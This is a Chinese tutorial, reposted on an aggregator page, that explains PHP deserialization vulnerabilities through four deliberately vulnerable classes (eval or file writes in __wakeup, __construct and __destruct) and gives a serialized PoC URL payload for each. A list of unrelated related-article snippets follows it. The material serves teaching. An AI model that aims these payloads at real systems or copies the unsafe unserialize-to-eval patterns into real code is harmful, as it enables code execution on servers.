反序列化本身是没有漏洞的,但是当反序列化和一些魔术方法结合使用时就可能会产生安全风险。常用的魔术方法__wakeup

反序列化漏洞示例(__wekeup)

class A{var $test = "demo";function __wakeup(){eval($this->test);}}$b = new A();$c = serialize($b);$a = $_GET['test'];$a_unser = unserialize($a);#漏洞利用poc http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

解释:传入的参数被反序列化,导致魔术方法__wakeup被自动调用,这时参数传入的值将被作为eval的参数使用,所以这里会因反序列化导致任意代码执行。

反序列化漏洞(__wakeup和文件操作)

require "test.php";//测试方便class A{var $test = '123';function __wakeup(){$fp = fopen("test.php", "w");fwrite($fp, $this->test);fclose($fp);}}$a = new A();print_r(serialize($a));$class1 = $_GET['test'];$class1_unser = unserialize($class1);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

解释:和上面一一样,当传入的参数被反序列化时,魔术方法__wakeup被调用,传入的参数会作为fwrite的第二个参数直接写入test.php文件中,从而导致反序列化漏洞

反序列化漏洞示例(__construct)

require 'test.php';class b{function __construct($test){$fp = fopen("test.php", 'w');fwrite($fp, $test);fclose($fp);}}class a{var $test = 123;function __wakeup(){$obj = new b($this->test);}}$class = $_GET['test'];$class_u = unserialize($class);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

解释:unserialize()会自动调用__wakeup(),__wakeup中实力化a,这时会调用构造函数__construct,因为构造函数被调用,所传入的参数会作为fwrite的参数写入shell.php文件,从而造成代码执行

类的普通方法——反序列化问题

class maniac{public $test;function __construct(){$this->test = new x1();}function __destruct(){$this->test->action();}}class x1{function action(){echo "123";}}class x2{public $test2;function action(){eval($this->test2);}}$class2 = new maniac();unserialize($_GET['test']);漏洞利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

解释:maniac实例化,构造方法(\_\_construct)被调用,x1被示例化;反序列执行,析构方法(\_\_destreuct)被调用;如果$\_GET没有传入合法的序列化字符串,就会自动调用x1的action方法,如果$\_GET接收到正确的序列化字符串,那么析构方法就会调用x2的action方法,从而这里就有可能导致任意命令执行

C php反序列化,php反序列化漏洞 - anansec的个人空间 - OSCHINA - 中文开源技术交流社区...相关推荐

  1. python编程代码执行漏洞_代码执行漏洞 - 安全先师的个人空间 - OSCHINA - 中文开源技术交流社区...

    0x00 前言 最近发现的一个新站,不妨试试手. 0x01 基础信息 漏洞点:tp5 method 代码执行,payload如下 POST /?s=captcha_method=__construct ...

  2. mysql v8 漏洞_mysql'密码安全 - osc_v8gts6gd的个人空间 - OSCHINA - 中文开源技术交流社区...

    MYSQL数据库的安全配置 MYSQL密码的修改与恢复 MYSQL数据库密码的修改 Mysql5.7以下默认root登录密码为空,安装完成之后首先需要修改root的登录密码. # mysqladm – ...

  3. fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...

    漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...

  4. wpf window 不执行show 就不能load执行_Numpy反序列化命令执行漏洞分析(CVE-2019-6446)附0day...

    1.介绍 NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算.NumPy 提供大量的 函数和操作,能够帮助程序员便利进行数值计算.在 NumPy 1.16.0 版本之前存在反序列 ...

  5. Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

    Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 漏洞环境搭建 漏洞复现 反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...

  6. java weblogic反序列化,WebLogic 反序列化漏洞(CVE-2017-10271)

    0x00 WebLogic WLS组件反序列化漏洞 这个漏洞的编号是 CVE-2017-10271,漏洞存在于 Oracle WebLogic 的 wls-wsat 组件中,该组件的 XMLDecod ...

  7. python pickle反序列化漏洞_Numpy反序列化命令执行漏洞分析(CVE-2019-6446) –vr_system...

    1. 介绍 NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算.NumPy提供大量的函数和操作,能够帮助 程序员 便利进行数值计算.在NumPy 1.16.0版本之前存在反序列化 ...

  8. 03 - vulhub - Apereo CAS 4.1 反序列化命令执行漏洞

    文章目录 漏洞名称:Apereo CAS 4.1 反序列化命令执行漏洞 影响版本 漏洞原理 漏洞复现 环境准备 漏洞检测 漏洞利用 验证漏洞利用是否成功 修复建议 漏洞名称:Apereo CAS 4. ...

  9. 【vulhub】Apereo CAS 4.1 反序列化命令执行漏洞复现

    楼主困了,这里就直接写上楼主自己的一些操作 详细过程可以看Apereo CAS 4.1 反序列化命令执行漏洞复现 特征: 1.网站根目录下有cas目录 2.如图所示,有apereo CAS图标 3.如 ...

最新文章

  1. NFS介绍、NFS服务端配置安装配置、 NFS配置选项、 客户端的配置
  2. Javascript日期时间总结
  3. vue计算多列和_解决vue 表格table列求和的问题
  4. [国家集训队] 特技飞行
  5. Tomcat logs 目录下各日志文件的含义
  6. C++空类中的默认函数
  7. 我学Delphi心得及笔记----内存(第七讲)
  8. [置顶] 话说你最拼命的时候怎样拼命的?
  9. 51单片机 多机串口通讯实验与双机串口通讯实验及proteus仿真
  10. 回顾过去。。展望未来
  11. 「运维之美」技术周刊 ( 第 2 期 )
  12. 《鸟哥的Linux私房菜》Chapter11 20180726~20180806
  13. 《浪潮之巅》读者热评
  14. js-多个果冻按钮之当前果冻按钮弹性特效
  15. 详解“辗转相除法”(如何求最大公约数)
  16. VC常见LINK处理方法
  17. 群晖download station使用sftp下载文件
  18. 读《读大学,究竟读什么》读后感
  19. SSD 训练自己的数据
  20. 手写mybatis完整sql插件

热门文章

  1. io密集型和cpu密集型_一次说明白Python爬虫中多线程,多进程,异步IO编程
  2. python期中考试知识点_大学期末考试,有哪些高效复习的技巧?
  3. php mysql 失败_在php中插入失败的数据mysql
  4. Spring 集成 mybatisPlus
  5. Vue封装hbuilder热更新
  6. 牛客网SQL篇刷题篇(24-31)
  7. c++ vector 初始化_什么?还不懂c++vector的用法,你凭什么勇气来的!
  8. python获取路径下所有文件_Python获取路径下所有文件名
  9. 乐高ev3搭建图_乐高EV3机械爪合集
  10. 全国信息联赛c语言,信息学竞赛之编程规则